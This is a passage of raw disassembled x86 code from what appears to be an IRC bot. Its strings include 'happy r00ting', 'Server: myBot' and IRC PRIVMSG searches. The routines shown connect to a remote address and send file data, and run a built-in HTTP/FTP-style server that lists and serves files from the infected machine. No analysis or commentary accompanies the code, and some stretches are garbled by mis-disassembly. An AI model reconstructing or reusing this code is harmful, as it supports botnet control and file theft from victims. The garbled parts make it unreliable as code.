		jnz	short loc_405987
		push	esi
		lea	eax, [ebp-8DCh]
		push	dword ptr [ebp-444h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	eax
		push	dword ptr [ebp-6DCh]
		call	sub_412D32
		add	esp, 14h


loc_405987:				; CODE XREF: seg000:00405962j
		lea	eax, [ebp-8DCh]
		push	eax
		call	sub_40B151
		pop	ecx
		jmp	short loc_4059C2
; ---------------------------------------------------------------------------


loc_405996:				; CODE XREF: seg000:0040591Cj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059BF
; ---------------------------------------------------------------------------


loc_4059A0:				; CODE XREF: seg000:004058FAj
		lea	eax, [ebp-0ACh]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059C2
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_4059BF:				; CODE XREF: seg000:00405678j
					; seg000:0040569Cj ...
		push	edi
		call	ebx	; send


loc_4059C2:				; CODE XREF: seg000:004057CCj
					; seg000:00405926j ...
		push	64h
		lea	eax, [ebp-29Ch]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch


loc_4059D4:				; CODE XREF: seg000:0040554Dj
					; seg000:00405576j ...
		inc	edi
		cmp	edi, [ebp-4]
		mov	[ebp+8], edi
		jle	loc_40551B
		jmp	loc_4054E0
; ---------------------------------------------------------------------------


loc_4059E6:				; CODE XREF: seg000:0040550Bj
		push	1
		pop	eax


loc_4059E9:				; CODE XREF: seg000:004054BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059F0	proc near		; CODE XREF: seg000:00405912p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4211B0	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_4211E0	; socket
		push	[ebp+arg_0]
		mov	ds:dword_438FB8, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4211D8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4211DC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_438FB8
		call	ds:dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A68
		push	ds:dword_438FB8
		call	ds:dword_4211F0	; closesocket
		call	ds:dword_4211AC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A68:				; CODE XREF: sub_4059F0+60j
		push	1
		pop	eax
		leave
		retn
sub_4059F0	endp

; ---------------------------------------------------------------------------


loc_405A6D:				; CODE XREF: seg000:0040591Ep
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 3D0000h
		mov	ecx, 0FEFC858Dh
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		jmp	fword ptr [eax+78h]
; ---------------------------------------------------------------------------
		imul	eax, [edx+0], 12CE850h
		add	[eax], eax
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405B04
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AE8
		push	edi
		mov	edi, 400h


loc_405AB0:				; CODE XREF: seg000:00405AE5j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_416B90
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	ds:dword_438FB8
		call	ds:dword_4211EC	; send
		push	1
		call	ds:dword_421060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405AB0
		pop	edi


loc_405AE8:				; CODE XREF: seg000:00405AA8j
		push	esi
		call	sub_415B20
		pop	ecx
		push	ds:dword_438FB8
		call	ds:dword_4211F0	; closesocket
		call	ds:dword_4211AC	; WSACleanup
		push	1
		pop	eax


loc_405B04:				; CODE XREF: seg000:00405AA2j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B07	proc near		; DATA XREF: seg000:0040758Do
					; seg000:00411EA3o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D50
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_43A378	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EF2
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43F514[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_43A3A4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF2
		push	7FFFFFFFh
		push	edi
		call	ds:dword_43A3A0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF2
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_43A414	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF2
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BDE:				; CODE XREF: sub_405B07+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_43A360	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EED
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405C14:				; CODE XREF: sub_405B07+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_43A270	; __WSAFDIsSet
		test	eax, eax
		jz	loc_405ED8
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C96
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43A40C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C68
		lea	edx, [ebp+var_134]


loc_405C5C:				; CODE XREF: sub_405B07+15Fj
		cmp	[edx], eax
		jz	short loc_405C68
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C5C


loc_405C68:				; CODE XREF: sub_405B07+14Dj
					; sub_405B07+157j
		cmp	ecx, ebx
		jnz	short loc_405C85
		cmp	ebx, 40h
		jnb	short loc_405C85
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405C85:				; CODE XREF: sub_405B07+163j
					; sub_405B07+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405ED8
		mov	[ebp+var_8], eax
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405C96:				; CODE XREF: sub_405B07+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_415550
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415550
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A390	; recv
		test	eax, eax
		jg	short loc_405D29
		push	esi
		call	ds:dword_43A410	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405ED8
		lea	eax, [ebp+var_134]


loc_405CE8:				; CODE XREF: sub_405B07+1EBj
		cmp	[eax], esi
		jz	short loc_405CF9
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CE8
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405CF9:				; CODE XREF: sub_405B07+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D1D
		lea	eax, [ebp+ecx*4+var_134]


loc_405D07:				; CODE XREF: sub_405B07+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405D07


loc_405D1D:				; CODE XREF: sub_405B07+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405D29:				; CODE XREF: sub_405B07+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415550
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_415CD0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405ED8


loc_405D57:				; CODE XREF: sub_405B07+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DFC
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DD0
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415CD0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DD0
		mov	eax, offset asc_4269C8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AA0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415AA0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C78
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415BE0
		add	esp, 10h
		jmp	short loc_405DE7
; ---------------------------------------------------------------------------


loc_405DD0:				; CODE XREF: sub_405B07+27Fj
					; sub_405B07+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4269C4 ; "\r\n"
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E1B


loc_405DE7:				; CODE XREF: sub_405B07+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405DFC:				; CODE XREF: sub_405B07+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_415CD0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D57
		jmp	loc_405ED8
; ---------------------------------------------------------------------------


loc_405E1B:				; CODE XREF: sub_405B07+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E65
		lea	eax, [ebp+var_134]


loc_405E27:				; CODE XREF: sub_405B07+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E38
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E27
		jmp	short loc_405E68
; ---------------------------------------------------------------------------


loc_405E38:				; CODE XREF: sub_405B07+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E5C
		lea	eax, [ebp+ecx*4+var_134]


loc_405E46:				; CODE XREF: sub_405B07+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E46


loc_405E5C:				; CODE XREF: sub_405B07+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E68
; ---------------------------------------------------------------------------


loc_405E65:				; CODE XREF: sub_405B07+318j
		mov	esi, [ebp+var_4]


loc_405E68:				; CODE XREF: sub_405B07+32Fj
					; sub_405B07+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405ED1
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415CD0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415CD0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405ED1
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43A414	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060E4
		add	esp, 14h
		jmp	short loc_405ED8
; ---------------------------------------------------------------------------


loc_405ED1:				; CODE XREF: sub_405B07+369j
					; sub_405B07+38Fj
		push	esi
		call	ds:dword_43A410	; closesocket


loc_405ED8:				; CODE XREF: sub_405B07+11Dj
					; sub_405B07+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405C14
		jmp	loc_405BDE
; ---------------------------------------------------------------------------


loc_405EED:				; CODE XREF: sub_405B07+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405EF2:				; CODE XREF: sub_405B07+6Aj
					; sub_405B07+92j ...
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42697C
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F38
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412D32
		add	esp, 14h


loc_405F38:				; CODE XREF: sub_405B07+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B151
		pop	ecx
		push	edi
		call	ds:dword_43A410	; closesocket
		push	[ebp+var_254]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		db	64h
		pop	edi
		pop	esi
		pop	ebx
sub_405B07	endp ; sp-analysis failed



loc_405F62:				; DATA XREF: sub_4060E4+246o
		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp-44Ch]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp-3C8h]
		push	eax
		lea	eax, [ebp-550h]
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-654h]
		push	eax
		call	sub_4154CD
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp-0A4h], edi
		jz	short loc_405FC7
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FCC
; ---------------------------------------------------------------------------


loc_405FC7:				; CODE XREF: seg000:00405FBEj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FCC:				; CODE XREF: seg000:00405FC5j
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_4154CD
		pop	ecx
		lea	eax, [ebp-68h]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 3D0000h
		or	ecx, [ebp+1E6AE045h]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 3D0000h
		cmp	cl, [ebp-427C1FBBh]
		dec	eax
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------
		call	dword ptr [eax-73h]
		inc	ebp
		cwde
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		jnz	short loc_406045
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154CD
		add	esp, 24h
		jmp	short loc_406066
; ---------------------------------------------------------------------------


loc_406045:				; CODE XREF: seg000:00406026j
		push	dword ptr [ebp-0B8h]
		lea	eax, [ebp-9Ch]
		push	eax
		lea	eax, [ebp-1654h]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154CD
		add	esp, 28h


loc_406066:				; CODE XREF: seg000:00406043j
		lea	eax, [ebp-1654h]
		push	edi
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-1654h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	ds:dword_43A3C8	; send
		cmp	[ebp-0A4h], edi
		jnz	short loc_4060A6
		lea	eax, [ebp-550h]
		push	eax
		push	dword ptr [ebp-44Ch]
		call	sub_406A16
		pop	ecx
		pop	ecx
		jmp	short loc_4060C3
; ---------------------------------------------------------------------------


loc_4060A6:				; CODE XREF: seg000:0040608Ej
		lea	eax, [ebp-654h]
		push	eax
		push	edi
		push	dword ptr [ebp-44Ch]
		lea	eax, [ebp-550h]
		push	eax
		call	loc_406394
		add	esp, 10h


loc_4060C3:				; CODE XREF: seg000:004060A4j
		push	dword ptr [ebp-44Ch]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-0B4h]
		call	sub_415295
		pop	ecx
		push	edi
		call	near ptr 3D0000h
		in	al, 5Fh
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060E4	proc near		; CODE XREF: sub_405B07+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415550
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40611A
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_406123
; ---------------------------------------------------------------------------


loc_40611A:				; CODE XREF: sub_4060E4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_406123:				; CODE XREF: sub_4060E4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415CD0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061BE
		mov	[ebp+arg_8], 2


loc_40614E:				; CODE XREF: sub_4060E4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415CD0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40618E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40618E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40618E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40618E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40618E:				; CODE XREF: sub_4060E4+7Aj
					; sub_4060E4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40619E
		push	5Ch
		pop	eax
		jmp	short loc_4061A1
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_4060E4+B3j
		movsx	eax, al


loc_4061A1:				; CODE XREF: sub_4060E4+B8j
		mov	[ebp+ebx+var_210], al


loc_4061A8:				; CODE XREF: sub_4060E4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415CD0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40614E


loc_4061BE:				; CODE XREF: sub_4060E4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_314]
		push	offset asc_426C7C ; "\n"
		push	eax
		call	sub_416C78
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_421094	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40620C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40620F
		push	[ebp+arg_0]
		jmp	short loc_40628B
; ---------------------------------------------------------------------------


loc_40620C:				; CODE XREF: sub_4060E4+11Cj
		mov	[ebp+var_4], esi


loc_40620F:				; CODE XREF: sub_4060E4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40621C
		mov	[ebp+var_4], esi


loc_40621C:				; CODE XREF: sub_4060E4+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406296
		cmp	[ebp+arg_C], edi
		jz	short loc_40628A
		lea	eax, [ebp+var_314]
		push	offset asc_426C78 ; "*"
		push	eax
		call	sub_415BF0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406AD3
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_4062E5
; ---------------------------------------------------------------------------


loc_40628A:				; CODE XREF: sub_4060E4+14Fj
		push	ebx


loc_40628B:				; CODE XREF: sub_4060E4+126j
		call	ds:dword_43A410	; closesocket
		jmp	loc_40638D
; ---------------------------------------------------------------------------


loc_406296:				; CODE XREF: sub_4060E4+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062E5
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154CD
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 3D0000h
		jmp	short loc_40632F
; ---------------------------------------------------------------------------
		mov	[ebp+var_330], eax
		call	ds:dword_42106C	; CloseHandle


loc_4062E5:				; CODE XREF: sub_4060E4+1A4j
					; sub_4060E4+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426C34
		push	eax
		call	sub_4154CD
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414F79
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_43F50C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset loc_405F62


loc_40632F:				; CODE XREF: sub_4060E4+1F3j
		push	edi
		push	edi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40635F


loc_40634D:				; CODE XREF: sub_4060E4+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_40638D
		push	5
		call	ds:dword_421060	; Sleep
		jmp	short loc_40634D
; ---------------------------------------------------------------------------


loc_40635F:				; CODE XREF: sub_4060E4+267j
		push	ebx
		call	ds:dword_43A410	; closesocket
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426BE8
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B151
		add	esp, 10h


loc_40638D:				; CODE XREF: sub_4060E4+1ADj
					; sub_4060E4+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_406394:				; CODE XREF: seg000:004060BBp
					; seg000:00411483p
		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp-594h]
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-8], ebx
		call	sub_415550
		mov	edi, [ebp+8]
		push	offset asc_426C7C ; "\n"
		push	edi
		call	sub_416C78
		add	esp, 14h
		cmp	[ebp+10h], ebx
		jz	short loc_4063F3
		push	edi
		mov	esi, 200h
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-248h]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		jmp	loc_4064F0
; ---------------------------------------------------------------------------


loc_4063F3:				; CODE XREF: seg000:004063CEj
		cmp	[ebp+14h], ebx
		push	edi
		jz	loc_4064D6
		call	sub_415CD0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		push	edi
		call	sub_415CD0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 0Ch
		jmp	short loc_4064F0
; ---------------------------------------------------------------------------


loc_4064D6:				; CODE XREF: seg000:004063F7j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 10h


loc_4064F0:				; CODE XREF: seg000:004063EEj
					; seg000:004064D4j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3C8	; send
